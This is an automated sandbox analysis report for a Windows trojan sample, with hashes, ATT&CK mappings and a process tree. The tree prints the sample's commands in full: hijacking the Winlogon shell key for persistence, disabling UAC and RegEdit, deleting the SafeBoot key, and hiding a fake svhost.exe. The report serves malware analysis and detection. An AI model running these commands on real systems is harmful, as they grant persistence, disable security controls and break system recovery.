980d2ecca216194eb70a3cb502f039589f9a0c2b4fb37392c19144527423ea55

Analysis

max time kernel
118s
max time network
120s
platform
windows7_x64
resource
win7-20240708-en
resource tags

arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system
submitted
21/09/2024, 00:56

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General

Target

eec4b4c99ef12c3af34dbceb9bba0bd3_JaffaCakes118.exe
Size

217KB
MD5

eec4b4c99ef12c3af34dbceb9bba0bd3
SHA1

5cdb384dc1b13b32fccb078093b8e7ea25c68053
SHA256

980d2ecca216194eb70a3cb502f039589f9a0c2b4fb37392c19144527423ea55
SHA512

92b3947cf1296b7fa9a899c4552ac74c406adda9df174155169f957e1c10a68c49dc856edb95ef25de1ea2e3bfa828f5e121415e3f1cb3587e49f89e9d55226b
SSDEEP

6144:OQVHddxtFrchQzcp63BkJhysb6PAE30aT:t59tFrcagQMynB

Score

10^/10

defense_evasion discovery evasion persistence trojan upx

Malware Config

Signatures

Modifies WinLogon for persistence 2 TTPs 1 IoCs

persistence

Winlogon Helper DLL

T1547.004

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Winlogon\shell = "C:\\Program Files\\Common Files\\Boot\\svhost.exe"	reg.exe

UAC bypass 3 TTPs 1 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	reg.exe

Disables RegEdit via registry modification 1 IoCs

evasion

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "1"	reg.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/2032-0-0x0000000000400000-0x0000000000D57000-memory.dmp	upx

Hide Artifacts: Hidden Files and Directories 1 TTPs 2 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
2812	cmd.exe
1284	cmd.exe

Drops file in Program Files directory 2 IoCs

description	ioc	Process
File opened for modification	C:\Program Files\Common Files\Boot\svhost.exe	attrib.exe
File opened for modification	C:\Program Files\Common Files\Boot	attrib.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 18 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	attrib.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	attrib.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	eec4b4c99ef12c3af34dbceb9bba0bd3_JaffaCakes118.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
2060	reg.exe

Suspicious behavior: RenamesItself 1 IoCs

pid	Process
2732	cmd.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2032 wrote to memory of 2412	2032	eec4b4c99ef12c3af34dbceb9bba0bd3_JaffaCakes118.exe	30
PID 2032 wrote to memory of 2412	2032	eec4b4c99ef12c3af34dbceb9bba0bd3_JaffaCakes118.exe	30
PID 2032 wrote to memory of 2412	2032	eec4b4c99ef12c3af34dbceb9bba0bd3_JaffaCakes118.exe	30
PID 2032 wrote to memory of 2412	2032	eec4b4c99ef12c3af34dbceb9bba0bd3_JaffaCakes118.exe	30
PID 2032 wrote to memory of 3036	2032	eec4b4c99ef12c3af34dbceb9bba0bd3_JaffaCakes118.exe	31
PID 2032 wrote to memory of 3036	2032	eec4b4c99ef12c3af34dbceb9bba0bd3_JaffaCakes118.exe	31
PID 2032 wrote to memory of 3036	2032	eec4b4c99ef12c3af34dbceb9bba0bd3_JaffaCakes118.exe	31
PID 2032 wrote to memory of 3036	2032	eec4b4c99ef12c3af34dbceb9bba0bd3_JaffaCakes118.exe	31
PID 2032 wrote to memory of 1060	2032	eec4b4c99ef12c3af34dbceb9bba0bd3_JaffaCakes118.exe	34
PID 2032 wrote to memory of 1060	2032	eec4b4c99ef12c3af34dbceb9bba0bd3_JaffaCakes118.exe	34
PID 2032 wrote to memory of 1060	2032	eec4b4c99ef12c3af34dbceb9bba0bd3_JaffaCakes118.exe	34
PID 2032 wrote to memory of 1060	2032	eec4b4c99ef12c3af34dbceb9bba0bd3_JaffaCakes118.exe	34
PID 2032 wrote to memory of 3016	2032	eec4b4c99ef12c3af34dbceb9bba0bd3_JaffaCakes118.exe	36
PID 2032 wrote to memory of 3016	2032	eec4b4c99ef12c3af34dbceb9bba0bd3_JaffaCakes118.exe	36
PID 2032 wrote to memory of 3016	2032	eec4b4c99ef12c3af34dbceb9bba0bd3_JaffaCakes118.exe	36
PID 2032 wrote to memory of 3016	2032	eec4b4c99ef12c3af34dbceb9bba0bd3_JaffaCakes118.exe	36
PID 2032 wrote to memory of 2780	2032	eec4b4c99ef12c3af34dbceb9bba0bd3_JaffaCakes118.exe	38
PID 2032 wrote to memory of 2780	2032	eec4b4c99ef12c3af34dbceb9bba0bd3_JaffaCakes118.exe	38
PID 2032 wrote to memory of 2780	2032	eec4b4c99ef12c3af34dbceb9bba0bd3_JaffaCakes118.exe	38
PID 2032 wrote to memory of 2780	2032	eec4b4c99ef12c3af34dbceb9bba0bd3_JaffaCakes118.exe	38
PID 2032 wrote to memory of 1032	2032	eec4b4c99ef12c3af34dbceb9bba0bd3_JaffaCakes118.exe	40
PID 2032 wrote to memory of 1032	2032	eec4b4c99ef12c3af34dbceb9bba0bd3_JaffaCakes118.exe	40
PID 2032 wrote to memory of 1032	2032	eec4b4c99ef12c3af34dbceb9bba0bd3_JaffaCakes118.exe	40
PID 2032 wrote to memory of 1032	2032	eec4b4c99ef12c3af34dbceb9bba0bd3_JaffaCakes118.exe	40
PID 2032 wrote to memory of 1284	2032	eec4b4c99ef12c3af34dbceb9bba0bd3_JaffaCakes118.exe	41
PID 2032 wrote to memory of 1284	2032	eec4b4c99ef12c3af34dbceb9bba0bd3_JaffaCakes118.exe	41
PID 2032 wrote to memory of 1284	2032	eec4b4c99ef12c3af34dbceb9bba0bd3_JaffaCakes118.exe	41
PID 2032 wrote to memory of 1284	2032	eec4b4c99ef12c3af34dbceb9bba0bd3_JaffaCakes118.exe	41
PID 2032 wrote to memory of 2812	2032	eec4b4c99ef12c3af34dbceb9bba0bd3_JaffaCakes118.exe	44
PID 2032 wrote to memory of 2812	2032	eec4b4c99ef12c3af34dbceb9bba0bd3_JaffaCakes118.exe	44
PID 2032 wrote to memory of 2812	2032	eec4b4c99ef12c3af34dbceb9bba0bd3_JaffaCakes118.exe	44
PID 2032 wrote to memory of 2812	2032	eec4b4c99ef12c3af34dbceb9bba0bd3_JaffaCakes118.exe	44
PID 2412 wrote to memory of 3040	2412	cmd.exe	46
PID 2412 wrote to memory of 3040	2412	cmd.exe	46
PID 2412 wrote to memory of 3040	2412	cmd.exe	46
PID 2412 wrote to memory of 3040	2412	cmd.exe	46
PID 2780 wrote to memory of 2756	2780	cmd.exe	47
PID 2780 wrote to memory of 2756	2780	cmd.exe	47
PID 2780 wrote to memory of 2756	2780	cmd.exe	47
PID 2780 wrote to memory of 2756	2780	cmd.exe	47
PID 1060 wrote to memory of 2880	1060	cmd.exe	48
PID 1060 wrote to memory of 2880	1060	cmd.exe	48
PID 1060 wrote to memory of 2880	1060	cmd.exe	48
PID 1060 wrote to memory of 2880	1060	cmd.exe	48
PID 3040 wrote to memory of 2732	3040	cmd.exe	49
PID 3040 wrote to memory of 2732	3040	cmd.exe	49
PID 3040 wrote to memory of 2732	3040	cmd.exe	49
PID 3040 wrote to memory of 2732	3040	cmd.exe	49
PID 3016 wrote to memory of 2060	3016	cmd.exe	50
PID 3016 wrote to memory of 2060	3016	cmd.exe	50
PID 3016 wrote to memory of 2060	3016	cmd.exe	50
PID 3016 wrote to memory of 2060	3016	cmd.exe	50
PID 3036 wrote to memory of 3028	3036	cmd.exe	51
PID 3036 wrote to memory of 3028	3036	cmd.exe	51
PID 3036 wrote to memory of 3028	3036	cmd.exe	51
PID 3036 wrote to memory of 3028	3036	cmd.exe	51
PID 1032 wrote to memory of 2760	1032	cmd.exe	52
PID 1032 wrote to memory of 2760	1032	cmd.exe	52
PID 1032 wrote to memory of 2760	1032	cmd.exe	52
PID 1032 wrote to memory of 2760	1032	cmd.exe	52
PID 2812 wrote to memory of 2896	2812	cmd.exe	53
PID 2812 wrote to memory of 2896	2812	cmd.exe	53
PID 2812 wrote to memory of 2896	2812	cmd.exe	53
PID 2812 wrote to memory of 2896	2812	cmd.exe	53

Views/modifies file attributes 1 TTPs 2 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
2192	attrib.exe
2896	attrib.exe

C:\Users\Admin\AppData\Local\Temp\eec4b4c99ef12c3af34dbceb9bba0bd3_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\eec4b4c99ef12c3af34dbceb9bba0bd3_JaffaCakes118.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2032
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c cmd /c cmd /c move /y "C:\USERS\ADMIN\APPDATA\LOCAL\TEMP\eec4b4c99ef12c3af34dbceb9bba0bd3_JaffaCakes118.exe" "C:\Program Files\Common Files\Boot\svhost.exe"
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2412
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c cmd /c move /y "C:\USERS\ADMIN\APPDATA\LOCAL\TEMP\eec4b4c99ef12c3af34dbceb9bba0bd3_JaffaCakes118.exe" "C:\Program Files\Common Files\Boot\svhost.exe"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:3040
  - - C:\Windows\SysWOW64\cmd.exe
      cmd /c move /y "C:\USERS\ADMIN\APPDATA\LOCAL\TEMP\eec4b4c99ef12c3af34dbceb9bba0bd3_JaffaCakes118.exe" "C:\Program Files\Common Files\Boot\svhost.exe"
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious behavior: RenamesItself
      PID:2732
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "hkey_local_machine\software\microsoft\windows nt\currentversion\winlogon" /v shell /t reg_sz /d "C:\Program Files\Common Files\Boot\svhost.exe" /f
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:3036
- - C:\Windows\SysWOW64\reg.exe
    reg add "hkey_local_machine\software\microsoft\windows nt\currentversion\winlogon" /v shell /t reg_sz /d "C:\Program Files\Common Files\Boot\svhost.exe" /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3028
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "hkey_local_machine\software\microsoft\windows nt\currentversion\winlogon " /v shell /t reg_sz /d "C:\Program Files\Common Files\Boot\svhost.exe" /f
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:1060
- - C:\Windows\SysWOW64\reg.exe
    reg add "hkey_local_machine\software\microsoft\windows nt\currentversion\winlogon " /v shell /t reg_sz /d "C:\Program Files\Common Files\Boot\svhost.exe" /f
    3⤵
    - Modifies WinLogon for persistence
    - System Location Discovery: System Language Discovery
    PID:2880
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c REG ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:3016
- - C:\Windows\SysWOW64\reg.exe
    REG ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
    3⤵
    - UAC bypass
    - System Location Discovery: System Language Discovery
    - Modifies registry key
    PID:2060
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t reg_dword /d "1" /f
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2780
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t reg_dword /d "1" /f
    3⤵
    - Disables RegEdit via registry modification
    - System Location Discovery: System Language Discovery
    PID:2756
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg delete HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SafeBoot /f
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:1032
- - C:\Windows\SysWOW64\reg.exe
    reg delete HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SafeBoot /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2760
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c attrib +h "C:\Program Files\Common Files\Boot\svhost.exe"
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  - System Location Discovery: System Language Discovery
  PID:1284
- - C:\Windows\SysWOW64\attrib.exe
    attrib +h "C:\Program Files\Common Files\Boot\svhost.exe"
    3⤵
    - Drops file in Program Files directory
    - System Location Discovery: System Language Discovery
    - Views/modifies file attributes
    PID:2192
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c attrib +h "C:\Program Files\Common Files\Boot"
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2812
- - C:\Windows\SysWOW64\attrib.exe
    attrib +h "C:\Program Files\Common Files\Boot"
    3⤵
    - Drops file in Program Files directory
    - System Location Discovery: System Language Discovery
    - Views/modifies file attributes
    PID:2896

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Winlogon Helper DLL

T1547.004

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Winlogon Helper DLL

T1547.004

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/2032-0-0x0000000000400000-0x0000000000D57000-memory.dmp

Filesize
9.3MB

Download
memory/2032-1-0x0000000000400000-0x0000000000D57000-memory.dmp

Filesize
9.3MB

Download
memory/2032-2-0x0000000000400000-0x0000000000D57000-memory.dmp

Filesize
9.3MB

Download
memory/2032-4-0x0000000000400000-0x0000000000D57000-memory.dmp

Filesize
9.3MB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads